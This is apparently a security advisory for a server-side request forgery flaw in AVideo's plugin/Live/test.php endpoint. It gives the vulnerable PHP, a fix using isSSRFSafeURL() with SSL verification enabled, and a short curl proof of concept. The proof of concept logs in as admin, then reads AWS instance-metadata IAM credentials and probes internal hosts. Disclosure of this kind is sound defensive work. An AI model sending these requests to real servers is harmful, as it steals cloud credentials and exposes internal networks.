PT-2026-30399 · Packagist · Wwbn Avideo

Published

2026-03-25

·

Updated

2026-03-25

CVSS v3.1

4.9

Medium

VectorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Summary

The plugin/Live/test.php endpoint accepts a URL via the statsURL parameter and fetches it server-side using file get contents(), curl exec(), or wget, returning the full response content in the HTML output. The only validation is a trivial regex (/^http/) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides isSSRFSafeURL() which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.

Details

The vulnerable code path is in plugin/Live/test.php:
User input (line 11):
php
$statsURL = $ REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg match("/^http/", $statsURL)) {
   log('this is not a URL ');
  exit;
}
The regex /^http/ only verifies the URL starts with "http" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges.
Sink — file get contents (line 58-68):
php
if (ini get('allow url fopen')) {
  try {
    $tmp = file get contents($url, false, $context);
     log('file get contents:: '.htmlentities($tmp));
Sink — curl exec (line 73-94):
php
} elseif (function exists('curl init')) {
  $ch = curl init();
  // ...
  curl setopt($ch, CURLOPT SSL VERIFYHOST, 0);
  curl setopt($ch, CURLOPT SSL VERIFYPEER, 0);
  // ...
  $output = curl exec($ch);
  // ...
   log('curl init:: '.htmlentities($output));
Sink — wget (line 114):
php
if (wget($url, $filename)) {
  $result = file get contents($filename);
   log('wget:: '.htmlentities($result));
All three code paths output the full response content to the user via log(), which echoes to the HTML response (line 155-160).
The codebase provides isSSRFSafeURL() at objects/functions.php:4025 which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported objects/aVideoEncoder.json.php, but plugin/Live/test.php does not call it.
Additionally, SSL certificate verification is disabled on both the file get contents stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.
The endpoint also lacks CSRF token validation while accepting GET requests via $ REQUEST, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).

PoC

Step 1: Authenticate as admin and obtain session cookie
bash
# Login to obtain PHPSESSID
PHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' 
 -d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}')
Step 2: Read AWS cloud metadata (IAM credentials)
bash
curl -b "PHPSESSID=${PHPSESSID}" 
 'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
Expected output: HTML page containing the full cloud metadata response including IAM role names.
Step 3: Read IAM credentials for a specific role
bash
curl -b "PHPSESSID=${PHPSESSID}" 
 'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole'
Expected output: JSON containing AccessKeyId, SecretAccessKey, and Token for the IAM role.
Step 4: Scan internal services
bash
curl -b "PHPSESSID=${PHPSESSID}" 
 'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/'
Expected output: Full response from internal service at 192.168.1.1:8080.

Impact

An authenticated admin can:
  • Read cloud metadata credentials: Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.
  • Enumerate internal services: Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.
  • Port scan internal infrastructure: Determine which internal hosts and ports are active based on response timing and content.
  • Bypass network segmentation: Reach services behind firewalls that trust the AVideo server's IP address.
The full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.

Recommended Fix

Add isSSRFSafeURL() validation before fetching the URL. In plugin/Live/test.php, after line 15:
php
$statsURL = $ REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg match("/^http/", $statsURL)) {
   log('this is not a URL ');
  exit;
}

// Add SSRF protection
if (!isSSRFSafeURL($statsURL)) {
   log('URL failed SSRF safety check: ' . htmlentities($statsURL));
  exit;
}
Additionally, enable SSL verification in the curl handler (lines 79-80):
php
// Replace:
curl setopt($ch, CURLOPT SSL VERIFYHOST, 0);
curl setopt($ch, CURLOPT SSL VERIFYPEER, 0);
// With:
curl setopt($ch, CURLOPT SSL VERIFYHOST, 2);
curl setopt($ch, CURLOPT SSL VERIFYPEER, true);
And in the stream context (lines 45-49):
php
// Replace:
"ssl" => [
  "verify peer" => false,
  "verify peer name" => false,
  "allow self signed" => true,
],
// With:
"ssl" => [
  "verify peer" => true,
  "verify peer name" => true,
  "allow self signed" => false,
],

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-WXJX-R2J2-96FX

Affected Products

Wwbn Avideo